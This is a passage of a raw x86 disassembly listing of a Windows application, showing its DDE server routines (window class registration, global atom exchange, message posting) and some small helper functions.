ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 Dest = dword ptr 8 Count = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_1C], ecx mov eax, [ebp+var_1C] add eax, 10h push eax call dword_4ED1A8 ; RtlEnterCriticalSection mov [ebp+var_4], 0 mov ecx, [ebp+var_1C] cmp dword ptr [ecx+8], 0 jz loc_4B3A8C mov edx, [ebp+var_1C] mov eax, [edx+8] mov [ebp+var_8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_8] mov eax, [edx+8] mov [ecx+8], eax mov ecx, [ebp+var_1C] cmp dword ptr [ecx+8], 0 jnz short loc_4B39F6 mov edx, [ebp+var_1C] mov dword ptr [edx+0Ch], 0 loc_4B39F6: ; CODE XREF: sub_4B39A7+43j cmp [ebp+Dest], 0 jz short loc_4B3A26 cmp [ebp+Count], 0 jle short loc_4B3A26 mov eax, [ebp+Count] push eax ; Count mov ecx, [ebp+var_8] mov edx, [ecx+4] push edx ; Source mov eax, [ebp+Dest] push eax ; Dest call _wcsncpy add esp, 0Ch mov ecx, [ebp+Count] mov edx, [ebp+Dest] mov word ptr [edx+ecx*2-2], 0 loc_4B3A26: ; CODE XREF: sub_4B39A7+53j ; sub_4B39A7+59j mov eax, [ebp+var_8] mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jz short loc_4B3A81 mov edx, [ebp+var_C] mov eax, [edx] mov [ebp+var_14], eax mov ecx, [ebp+var_14] push ecx call sub_4C85D6 add esp, 4 mov edx, [ebp+var_C] mov eax, [edx+4] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx call sub_4C85D6 add esp, 4 mov edx, 1 and edx, 1 test edx, edx jz short loc_4B3A79 mov eax, [ebp+var_C] push eax call sub_4C85D6 add esp, 4 loc_4B3A79: ; CODE XREF: sub_4B39A7+C4j mov ecx, [ebp+var_C] mov [ebp+var_20], ecx jmp short loc_4B3A88 ; --------------------------------------------------------------------------- loc_4B3A81: ; CODE XREF: sub_4B39A7+8Fj mov [ebp+var_20], 0 loc_4B3A88: ; CODE XREF: sub_4B39A7+D8j mov [ebp+var_4], 1 loc_4B3A8C: ; CODE XREF: sub_4B39A7+21j mov edx, [ebp+var_1C] add edx, 10h push edx call dword_4ED1AC ; RtlLeaveCriticalSection mov al, [ebp+var_4] mov esp, ebp pop ebp retn 8 sub_4B39A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B3AA2 proc near ; CODE XREF: .text:004B5DB4p ; .text:004B989Dp var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_4] push eax push 0 push 0 push offset sub_4B3AFF push 0 push 0 call dword_4ED02C ; CreateThread mov [ebp+var_8], eax mov ecx, [ebp+var_8] push ecx call dword_4ED0E8 ; CloseHandle cmp [ebp+var_8], 0 jz short loc_4B3AF9 loc_4B3AD2: ; CODE XREF: sub_4B3AA2+49j mov edx, dword_4F3AD8 push edx call dword_4ED27C ; IsWindow test eax, eax jnz short loc_4B3AED push 1 call dword_4ED1A4 ; Sleep jmp short loc_4B3AD2 ; --------------------------------------------------------------------------- loc_4B3AED: ; CODE XREF: sub_4B3AA2+3Fj push 64h call dword_4ED1A4 ; Sleep mov al, 1 jmp short loc_4B3AFB ; --------------------------------------------------------------------------- loc_4B3AF9: ; CODE XREF: sub_4B3AA2+2Ej xor al, al loc_4B3AFB: ; CODE XREF: sub_4B3AA2+55j mov esp, ebp pop ebp retn sub_4B3AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B3AFF proc near ; DATA XREF: sub_4B3AA2+Eo var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h Dest = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Dst = dword ptr -28h Str = dword ptr -24h var_20 = byte ptr -20h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 50h call sub_4B3F59 mov dword_4F3AD8, eax call dword_4ED03C ; GetTickCount mov [ebp+var_4], eax loc_4B3B18: ; CODE XREF: sub_4B3AFF:loc_4B3E23j mov eax, 1 test eax, eax jz loc_4B3E28 push 1 push 0 push 0 mov ecx, dword_4F3AD8 push ecx lea edx, [ebp+var_20] push edx call dword_4ED280 ; PeekMessageA test eax, eax jz short loc_4B3B59 lea eax, [ebp+var_20] push eax call dword_4ED260 ; TranslateMessage lea ecx, [ebp+var_20] push ecx call dword_4ED264 ; DispatchMessageA jmp loc_4B3E23 ; --------------------------------------------------------------------------- loc_4B3B59: ; CODE XREF: sub_4B3AFF+3Fj xor edx, edx cmp dword_4F3AE0, 0 setnz dl and edx, 0FFh test edx, edx jz loc_4B3E1B call dword_4ED03C ; GetTickCount mov ecx, [ebp+var_4] add ecx, 1F4h cmp eax, ecx jbe loc_4B3E1B call dword_4ED03C ; GetTickCount mov [ebp+var_4], eax cmp dword_4F3ADC, 0 jnz short loc_4B3BAE push 0 push offset sub_4B3E69 call dword_4ED268 ; EnumWindows jmp loc_4B3E19 ; --------------------------------------------------------------------------- loc_4B3BAE: ; CODE XREF: sub_4B3AFF+9Bj mov edx, dword_4F3ADC push edx call dword_4ED27C ; IsWindow test eax, eax jz loc_4B3E0F push 20000h call sub_4C85E1 add esp, 4 mov [ebp+var_44], eax mov eax, [ebp+var_44] mov [ebp+Dst], eax push 20000h ; Size push 0 ; Val mov ecx, [ebp+Dst] push ecx ; Dst call _memset_0 add esp, 0Ch push 10000h call sub_4C85E1 add esp, 4 mov [ebp+var_48], eax mov edx, [ebp+var_48] mov [ebp+Str], edx push 10000h ; Size push 0 ; Val mov eax, [ebp+Str] push eax ; Dst call _memset_0 add esp, 0Ch call sub_4B36BD and eax, 0FFh test eax, eax jz loc_4B3D5A loc_4B3C27: ; CODE XREF: sub_4B3AFF:loc_4B3D50j push 10000h ; Count mov ecx, [ebp+Dst] push ecx ; Dest mov ecx, offset dword_4F3AD8 call sub_4B39A7 and eax, 0FFh test eax, eax jz loc_4B3D55 mov edx, dword_4F3ADC push edx call dword_4ED26C ; IsWindowUnicode test eax, eax jz short loc_4B3CCD mov eax, [ebp+Dst] push eax ; Str call _wcslen_0 add esp, 4 lea ecx, [eax+eax+1] push ecx push 2002h call dword_4ED038 ; GlobalAlloc mov [ebp+var_30], eax mov edx, [ebp+var_30] push edx call dword_4ED034 ; GlobalLock mov [ebp+var_2C], eax mov eax, [ebp+Dst] push eax ; Source mov ecx, [ebp+var_2C] push ecx ; Dest call _wcscpy add esp, 8 mov edx, [ebp+var_30] push edx call dword_4ED030 ; GlobalUnlock mov eax, [ebp+var_30] push eax push 0 push 3E8h call sub_4C85C4 ; PackDDElParam push eax mov ecx, dword_4F3AD8 push ecx push 3E8h mov edx, dword_4F3ADC push edx call dword_4ED274 ; PostMessageW jmp loc_4B3D50 ; --------------------------------------------------------------------------- loc_4B3CCD: ; CODE XREF: sub_4B3AFF+157j push 10000h mov eax, [ebp+Str] push eax mov ecx, [ebp+Dst] push ecx call sub_4B3E30 add esp, 0Ch mov edx, [ebp+Str] push edx ; Str call _strlen_0 add esp, 4 add eax, 1 push eax push 2002h call dword_4ED038 ; GlobalAlloc mov [ebp+var_38], eax mov eax, [ebp+var_38] push eax call dword_4ED034 ; GlobalLock mov [ebp+Dest], eax mov ecx, [ebp+Str] push ecx ; Source mov edx, [ebp+Dest] push edx ; Dest call _strcpy_0 add esp, 8 mov eax, [ebp+var_38] push eax call dword_4ED030 ; GlobalUnlock mov ecx, [ebp+var_38] push ecx push 0 push 3E8h call sub_4C85C4 ; PackDDElParam push eax mov edx, dword_4F3AD8 push edx push 3E8h mov eax, dword_4F3ADC push eax call dword_4ED278 ; PostMessageA loc_4B3D50: ; CODE XREF: sub_4B3AFF+1C9j jmp loc_4B3C27 ; --------------------------------------------------------------------------- loc_4B3D55: ; CODE XREF: sub_4B3AFF+142j jmp loc_4B3DE9 ; --------------------------------------------------------------------------- loc_4B3D5A: ; CODE XREF: sub_4B3AFF+122j ; sub_4B3AFF+2E5j push 10000h ; Count mov ecx, [ebp+Str] push ecx ; Dest mov ecx, offset dword_4F3AD8 call sub_4B37DC and eax, 0FFh test eax, eax jz short loc_4B3DE9 mov edx, [ebp+Str] push edx ; Str call _strlen_0 add esp, 4 add eax, 1 push eax push 2002h call dword_4ED038 ; GlobalAlloc mov [ebp+var_40], eax mov eax, [ebp+var_40] push eax call dword_4ED034 ; GlobalLock mov [ebp+var_3C], eax mov ecx, [ebp+Str] push ecx ; Source mov edx, [ebp+var_3C] push edx ; Dest call _strcpy_0 add esp, 8 mov eax, [ebp+var_40] push eax call dword_4ED030 ; GlobalUnlock mov ecx, [ebp+var_40] push ecx push 0 push 3E8h call sub_4C85C4 ; PackDDElParam push eax mov edx, dword_4F3AD8 push edx push 3E8h mov eax, dword_4F3ADC push eax call dword_4ED278 ; PostMessageA jmp loc_4B3D5A ; --------------------------------------------------------------------------- loc_4B3DE9: ; CODE XREF: sub_4B3AFF:loc_4B3D55j ; sub_4B3AFF+275j mov ecx, [ebp+Str] mov [ebp+var_4C], ecx mov edx, [ebp+var_4C] push edx call sub_4C85D6 add esp, 4 mov eax, [ebp+Dst] mov [ebp+var_50], eax mov ecx, [ebp+var_50] push ecx call sub_4C85D6 add esp, 4 jmp short loc_4B3E19 ; --------------------------------------------------------------------------- loc_4B3E0F: ; CODE XREF: sub_4B3AFF+BEj mov dword_4F3ADC, 0 loc_4B3E19: ; CODE XREF: sub_4B3AFF+AAj ; sub_4B3AFF+30Ej jmp short loc_4B3E23 ; --------------------------------------------------------------------------- loc_4B3E1B: ; CODE XREF: sub_4B3AFF+6Ej ; sub_4B3AFF+85j push 1 call dword_4ED1A4 ; Sleep loc_4B3E23: ; CODE XREF: sub_4B3AFF+55j ; sub_4B3AFF:loc_4B3E19j jmp loc_4B3B18 ; --------------------------------------------------------------------------- loc_4B3E28: ; CODE XREF: sub_4B3AFF+20j xor eax, eax mov esp, ebp pop ebp retn 4 sub_4B3AFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B3E30 proc near ; CODE XREF: sub_4B3AFF+1DBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call dword_4ED044 ; IsBadReadPtr test eax, eax jz short loc_4B3E48 mov eax, [ebp+arg_0] jmp short loc_4B3E67 ; --------------------------------------------------------------------------- loc_4B3E48: ; CODE XREF: sub_4B3E30+11j push 0 push 0 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push 0FFFFFFFFh mov eax, [ebp+arg_0] push eax push 0 push 0 call dword_4ED040 ; WideCharToMultiByte mov eax, [ebp+arg_4] loc_4B3E67: ; CODE XREF: sub_4B3E30+16j pop ebp retn sub_4B3E30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B3E69 proc near ; DATA XREF: sub_4B3AFF+9Fo var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4ED254 ; GetWindowThreadProcessId mov edx, [ebp+var_4] cmp edx, dword_4F3B00 jnz loc_4B3F41 mov eax, [ebp+arg_0] cmp eax, dword_4F3AD8 jz loc_4B3F41 call sub_4B36BD and eax, 0FFh test eax, eax jz short loc_4B3EF6 push offset aPacked ; "packed" call dword_4ED04C ; GlobalAddAtomW mov word ptr [ebp+var_8], ax push offset aSystem ; "System" call dword_4ED04C ; GlobalAddAtomW mov word ptr [ebp+var_C], ax mov ecx, [ebp+var_8] and ecx, 0FFFFh mov edx, [ebp+var_C] and edx, 0FFFFh shl edx, 10h or ecx, edx push ecx mov eax, dword_4F3AD8 push eax push 3E0h mov ecx, [ebp+arg_0] push ecx call dword_4ED258 ; SendMessageW jmp short loc_4B3F41 ; --------------------------------------------------------------------------- loc_4B3EF6: ; CODE XREF: sub_4B3E69+3Ej push offset dword_4F3B04 call dword_4ED048 ; GlobalAddAtomA mov word ptr [ebp+var_10], ax push offset aSystem_0 ; "System" call dword_4ED048 ; GlobalAddAtomA mov word ptr [ebp+var_14], ax mov edx, [ebp+var_10] and edx, 0FFFFh mov eax, [ebp+var_14] and eax, 0FFFFh shl eax, 10h or edx, eax push edx mov ecx, dword_4F3AD8 push ecx push 3E0h mov edx, [ebp+arg_0] push edx call dword_4ED25C ; SendMessageA loc_4B3F41: ; CODE XREF: sub_4B3E69+1Dj ; sub_4B3E69+2Cj ... cmp dword_4F3ADC, 0 jz short loc_4B3F4E xor eax, eax jmp short loc_4B3F53 ; --------------------------------------------------------------------------- loc_4B3F4E: ; CODE XREF: sub_4B3E69+DFj mov eax, 1 loc_4B3F53: ; CODE XREF: sub_4B3E69+E3j mov esp, ebp pop ebp retn 8 sub_4B3E69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B3F59 proc near ; CODE XREF: sub_4B3AFF+6p var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 60h call sub_4B36BD and eax, 0FFh test eax, eax jz loc_4B401B mov [ebp+var_30], offset aSwpdde ; "SwPDDE" mov [ebp+var_2C], 0Bh mov [ebp+var_28], offset sub_4B40C4 mov [ebp+var_24], 0 mov [ebp+var_20], 0 push 0 call dword_4ED050 ; GetModuleHandleA mov [ebp+var_1C], eax mov [ebp+var_18], 0 push 7F00h push 0 call dword_4ED240 ; LoadCursorA mov [ebp+var_14], eax mov [ebp+var_10], 6 mov [ebp+var_C], 0 mov eax, [ebp+var_30] mov [ebp+var_8], eax lea ecx, [ebp+var_2C] push ecx call dword_4ED244 ; RegisterClassW push 0 push 0 call dword_4ED050 ; GetModuleHandleA push eax push 0 push 0 push 80000000h push 80000000h push 80000000h push 80000000h push 2CF0000h push offset off_4ED374 mov edx, [ebp+var_30] push edx push 40300h call dword_4ED248 ; CreateWindowExW mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_4B40C0 ; --------------------------------------------------------------------------- loc_4B401B: ; CODE XREF: sub_4B3F59+12j mov [ebp+var_60], offset aSwpdde_0 ; "SwPDDE" mov [ebp+var_5C], 0Bh mov [ebp+var_58], offset sub_4B40C4 mov [ebp+var_54], 0 mov [ebp+var_50], 0 push 0 call dword_4ED050 ; GetModuleHandleA mov [ebp+var_4C], eax mov [ebp+var_48], 0 push 7F00h push 0 call dword_4ED240 ; LoadCursorA mov [ebp+var_44], eax mov [ebp+var_40], 6 mov [ebp+var_3C], 0 mov eax, [ebp+var_60] mov [ebp+var_38], eax lea ecx, [ebp+var_5C] push ecx call dword_4ED24C ; RegisterClassA push 0 push 0 call dword_4ED050 ; GetModuleHandleA push eax push 0 push 0 push 80000000h push 80000000h push 80000000h push 80000000h push 2CF0000h push offset aDdeProcessing ; "DDE Processing" mov edx, [ebp+var_60] push edx push 40300h call dword_4ED250 ; CreateWindowExA mov [ebp+var_34], eax mov eax, [ebp+var_34] loc_4B40C0: ; CODE XREF: sub_4B3F59+BDj mov esp, ebp pop ebp retn sub_4B3F59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B40C4 proc near ; DATA XREF: sub_4B3F59+26o ; sub_4B3F59+D0o var_628 = dword ptr -628h var_624 = dword ptr -624h var_620 = dword ptr -620h var_61C = dword ptr -61Ch var_618 = dword ptr -618h var_614 = dword ptr -614h var_610 = dword ptr -610h var_60C = byte ptr -60Ch var_60B = byte ptr -60Bh Str = byte ptr -50Ch var_50B = byte ptr -50Bh var_40C = word ptr -40Ch var_40A = byte ptr -40Ah Str1 = word ptr -20Ch var_20A = byte ptr -20Ah var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 628h push edi mov eax, [ebp+arg_4] mov [ebp+var_628], eax mov ecx, [ebp+var_628] sub ecx, 3E0h mov [ebp+var_628], ecx cmp [ebp+var_628], 8 ja loc_4B4540 mov edx, [ebp+var_628] jmp ds:off_4B455D[edx*4] loc_4B4103: ; DATA XREF: .text:off_4B455Do mov eax, [ebp+arg_8] mov [ebp+var_4], eax mov cx, word ptr [ebp+arg_C] mov word ptr [ebp+var_8], cx mov edx, [ebp+arg_C] shr edx, 10h and edx, 0FFFFh mov word ptr [ebp+var_C], dx call sub_4B36BD and eax, 0FFh test eax, eax jz loc_4B4264 mov ax, word_4F4124 mov [ebp+Str1], ax mov ecx, 7Fh xor eax, eax lea edi, [ebp+var_20A] rep stosd stosw mov cx, word_4F4124 mov [ebp+var_40C], cx mov ecx, 7Fh xor eax, eax lea edi, [ebp+var_40A] rep stosd stosw push 100h lea edx, [ebp+Str1] push edx mov ax, word ptr [ebp+var_8] push eax call dword_4ED060 ; GlobalGetAtomNameW push 100h lea ecx, [ebp+var_40C] push ecx mov dx, word ptr [ebp+var_C] push edx call dword_4ED060 ; GlobalGetAtomNameW lea eax, [ebp+Str1] push eax ; Str call _wcslen_0 add esp, 4 test eax, eax jz loc_4B425F push offset aPacked ; "packed" lea ecx, [ebp+Str1] push ecx ; Str1 call __wcsicmp_0 add esp, 8 test eax, eax jz short loc_4B41E5 push offset aPacked_0 ; "packed" lea edx, [ebp+Str1] push edx ; Str1 call __wcsicmp_0 add esp, 8 test eax, eax jnz short loc_4B425F loc_4B41E5: ; CODE XREF: sub_4B40C4+107j push offset aSystem ; "System" lea eax, [ebp+var_40C] push eax ; Str1 call __wcsicmp_0 add esp, 8 test eax, eax jnz short loc_4B425F mov cx, word ptr [ebp+var_8] push ecx call dword_4ED05C ; GlobalDeleteAtom mov dx, word ptr [ebp+var_C] push edx call dword_4ED05C ; GlobalDeleteAtom lea eax, [ebp+Str1] push eax call dword_4ED04C ; GlobalAddAtomW mov word ptr [ebp+var_8], ax lea ecx, [ebp+var_40C] push ecx call dword_4ED04C ; GlobalAddAtomW mov word ptr [ebp+var_C], ax mov edx, [ebp+var_8] and edx, 0FFFFh mov eax, [ebp+var_C] and eax, 0FFFFh shl eax, 10h or edx, eax push edx mov ecx, [ebp+arg_0] push ecx push 3E4h mov edx, [ebp+var_4] push edx call dword_4ED258 ; SendMessageW loc_4B425F: ; CODE XREF: sub_4B40C4+EBj ; sub_4B40C4+11Fj ... jmp loc_4B438E ; --------------------------------------------------------------------------- loc_4B4264: ; CODE XREF: sub_4B40C4+69j mov al, byte_4F4120 mov [ebp+Str], al mov ecx, 3Fh xor eax, eax lea edi, [ebp+var_50B] rep stosd stosw stosb mov cl, byte_4F4120 mov [ebp+var_60C], cl mov ecx, 3Fh xor eax, eax lea edi, [ebp+var_60B] rep stosd stosw stosb push 100h lea edx, [ebp+Str] push edx mov ax, word ptr [ebp+var_8] push eax call dword_4ED058 ; GlobalGetAtomNameA push 100h lea ecx, [ebp+var_60C] push ecx mov dx, word ptr [ebp+var_C] push edx call dword_4ED058 ; GlobalGetAtomNameA lea eax, [ebp+Str] push eax ; Str call _strlen_0 add esp, 4 test eax, eax jz loc_4B438E push offset dword_4F3B04 lea ecx, [ebp+Str] push ecx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jz short loc_4B4314 push offset dword_4F3C08 lea edx, [ebp+Str] push edx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B438E loc_4B4314: ; CODE XREF: sub_4B40C4+236j push offset aSystem_0 ; "System" lea eax, [ebp+var_60C] push eax call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B438E mov cx, word ptr [ebp+var_8] push ecx call dword_4ED05C ; GlobalDeleteAtom mov dx, word ptr [ebp+var_C] push edx call dword_4ED05C ; GlobalDeleteAtom lea eax, [ebp+Str] push eax call dword_4ED048 ; GlobalAddAtomA mov word ptr [ebp+var_8], ax lea ecx, [ebp+var_60C] push ecx call dword_4ED048 ; GlobalAddAtomA mov word ptr [ebp+var_C], ax mov edx, [ebp+var_8] and edx, 0FFFFh mov eax, [ebp+var_C] and eax, 0FFFFh shl eax, 10h or edx, eax push edx mov ecx, [ebp+arg_0] push ecx push 3E4h mov edx, [ebp+var_4] push edx call dword_4ED25C ; SendMessageA loc_4B438E: ; CODE XREF: sub_4B40C4:loc_4B425Fj ; sub_4B40C4+21Aj ... xor eax, eax jmp loc_4B4556 ; --------------------------------------------------------------------------- loc_4B4395: ; CODE XREF: sub_4B40C4+38j ; DATA XREF: .text:004B457Do call sub_4B36BD and eax, 0FFh test eax, eax jz short loc_4B43D0 mov eax, [ebp+arg_C] push eax call dword_4ED034 ; GlobalLock mov [ebp+var_610], eax mov ecx, [ebp+var_610] push ecx ; Str mov ecx, offset dword_4F3AD8 call sub_4B38D3 mov edx, [ebp+arg_C] push edx call dword_4ED030 ; GlobalUnlock jmp short loc_4B43FB ; --------------------------------------------------------------------------- loc_4B43D0: ; CODE XREF: sub_4B40C4+2DDj mov eax, [ebp+arg_C] push eax call dword_4ED034 ; GlobalLock mov [ebp+var_614], eax mov ecx, [ebp+var_614] push ecx ; Str mov ecx, offset dword_4F3AD8 call sub_4B370A mov edx, [ebp+arg_C] push edx call dword_4ED030 ; GlobalUnlock loc_4B43FB: ; CODE XREF: sub_4B40C4+30Aj mov eax, [ebp+arg_C] push eax push 8000h push 3E4h call sub_4C85C4 ; PackDDElParam push eax mov ecx, [ebp+arg_0] push ecx push 3E4h mov edx, [ebp+arg_8] push edx call dword_4ED278 ; PostMessageA xor eax, eax jmp loc_4B4556 ; --------------------------------------------------------------------------- loc_4B4429: ; CODE XREF: sub_4B40C4+38j ; DATA XREF: .text:004B456Do call dword_4ED230 ; InSendMessage test eax, eax jz short loc_4B445E mov eax, [ebp+arg_8] mov dword_4F3ADC, eax mov cx, word ptr [ebp+arg_C] push ecx call dword_4ED05C ; GlobalDeleteAtom mov edx, [ebp+arg_C] shr edx, 10h and edx, 0FFFFh push edx call dword_4ED05C ; GlobalDeleteAtom jmp loc_4B4516 ; --------------------------------------------------------------------------- loc_4B445E: ; CODE XREF: sub_4B40C4+36Dj lea eax, [ebp+var_61C] push eax lea ecx, [ebp+var_618] push ecx mov edx, [ebp+arg_C] push edx push 3E4h call sub_4C85D0 ; UnpackDDElParam mov eax, [ebp+var_618] and eax, 8000h test eax, eax jnz short loc_4B44FB call sub_4B36BD and eax, 0FFh test eax, eax jz short loc_4B44CA mov ecx, [ebp+var_61C] push ecx call dword_4ED034 ; GlobalLock mov [ebp+var_620], eax mov edx, [ebp+var_620] push edx ; Str mov ecx, offset dword_4F3AD8 call sub_4B38D3 mov eax, [ebp+var_61C] push eax call dword_4ED030 ; GlobalUnlock jmp short loc_4B44FB ; --------------------------------------------------------------------------- loc_4B44CA: ; CODE XREF: sub_4B40C4+3D1j mov ecx, [ebp+var_61C] push ecx call dword_4ED034 ; GlobalLock mov [ebp+var_624], eax mov edx, [ebp+var_624] push edx ; Str mov ecx, offset dword_4F3AD8 call sub_4B370A mov eax, [ebp+var_61C] push eax call dword_4ED030 ; GlobalUnlock loc_4B44FB: ; CODE XREF: sub_4B40C4+3C3j ; sub_4B40C4+404j mov ecx, [ebp+arg_C] push ecx push 3E4h call sub_4C85CA ; FreeDDElParam mov edx, [ebp+var_61C] push edx call dword_4ED054 ; GlobalFree loc_4B4516: ; CODE XREF: sub_4B40C4+395j xor eax, eax jmp short loc_4B4556 ; --------------------------------------------------------------------------- loc_4B451A: ; CODE XREF: sub_4B40C4+38j ; DATA XREF: .text:004B4561o push 0 push 0 mov eax, [ebp+arg_0] push eax push 3E1h call sub_4C85C4 ; PackDDElParam push eax push 3E1h mov ecx, [ebp+arg_8] push ecx call dword_4ED278 ; PostMessageA xor eax, eax jmp short loc_4B4556 ; --------------------------------------------------------------------------- loc_4B4540: ; CODE XREF: sub_4B40C4+2Cj ; sub_4B40C4+38j ; DATA XREF: ... mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4ED23C ; DefWindowProcA loc_4B4556: ; CODE XREF: sub_4B40C4+2CCj ; sub_4B40C4+360j ... pop edi mov esp, ebp pop ebp retn 10h sub_4B40C4 endp ; --------------------------------------------------------------------------- off_4B455D dd offset loc_4B4103 ; DATA XREF: sub_4B40C4+38r dd offset loc_4B451A dd offset loc_4B4540 dd offset loc_4B4540 dd offset loc_4B4429 dd offset loc_4B4540 dd offset loc_4B4540 dd offset loc_4B4540 dd offset loc_4B4395 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B4581 proc near ; CODE XREF: .text:004B999Fp ; .text:004B9A8Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword_4F3B00, eax pop ebp retn sub_4B4581 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+8] mov ecx, 0Ah mov al, 0CCh repne scasb test ecx, ecx jnz short loc_4B45AA xor al, al jmp short loc_4B45AC ; --------------------------------------------------------------------------- loc_4B45AA: ; CODE XREF: .text:004B45A4j mov al, 1 loc_4B45AC: ; CODE XREF: .text:004B45A8j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B45B1 proc near ; CODE XREF: .text:004B5FEFp ; WinMain(x,x,x,x)+339p push ebp mov ebp, esp mov eax, dword_4F4370 mov eax, off_4ED444[eax*4] pop ebp retn sub_4B45B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B45C2 proc near ; CODE XREF: .text:004B6004p ; .text:004B602Ap ... push ebp mov ebp, esp mov eax, offset byte_4F4374 pop ebp retn sub_4B45C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4B45CC proc near ; DATA XREF: .text:004B56CDo ; .text:loc_4B5DECo ... push ebp mov ebp, esp push 10h push 0 push offset aInsufficientMe ; "Insufficient memory!" push 0 call dword_4ED22C ; MessageBoxA push 1 ; Code call _exit_0 sub_4B45CC endp ; --------------------------------------------------------------------------- pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B45E9 proc near ; DATA XREF: sub_4B45FB+15Eo arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] and eax, 0FFFFh mov dword_4F4494, eax pop ebp retn sub_4B45E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B45FB proc near ; CODE XREF: .text:loc_4B5DB9p ; sub_4B5E8E+79p var_5C = dword ptr -5Ch var_58 = dword ptr -58h Src = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 5Ch mov eax, dword_4ED3B0 xor eax, dword_4ED3FC xor eax, dword_4ED3F0 and eax, 3 push eax call sub_490060 add esp, 4 call sub_4B48AD mov [ebp+var_4C], eax cmp [ebp+var_4C], 0 jnz short loc_4B463D mov dword_4F4370, 1 xor eax, eax jmp loc_4B48A9 ; --------------------------------------------------------------------------- loc_4B463D: ; CODE XREF: sub_4B45FB+2Fj mov ecx, [ebp+var_4C] add ecx, 8 mov [ebp+Src], ecx mov byte ptr [ebp+var_48], 0 cmp dword_4F4130, 1 jnz short loc_4B46AC mov edx, dword_4F4138 movsx eax, byte ptr [edx] cmp eax, 2Fh jz short loc_4B466F mov ecx, dword_4F4138 movsx edx, byte ptr [ecx] cmp edx, 2Dh jnz short loc_4B46AC loc_4B466F: ; CODE XREF: sub_4B45FB+64j push 1 ; MaxCount push offset aS_8 ; "s" mov eax, dword_4F4138 add eax, 1 push eax ; Str1 call __strnicmp add esp, 0Ch test eax, eax jz short loc_4B46A8 push 1 ; MaxCount push offset aP ; "p" mov ecx, dword_4F4138 add ecx, 1 push ecx ; Str1 call __strnicmp add esp, 0Ch test eax, eax jnz short loc_4B46AC loc_4B46A8: ; CODE XREF: sub_4B45FB+8Ej mov byte ptr [ebp+var_48], 1 loc_4B46AC: ; CODE XREF: sub_4B45FB+56j ; sub_4B45FB+72j ... mov [ebp+var_50], 0 mov dl, byte ptr [ebp+var_48] push edx ; int lea 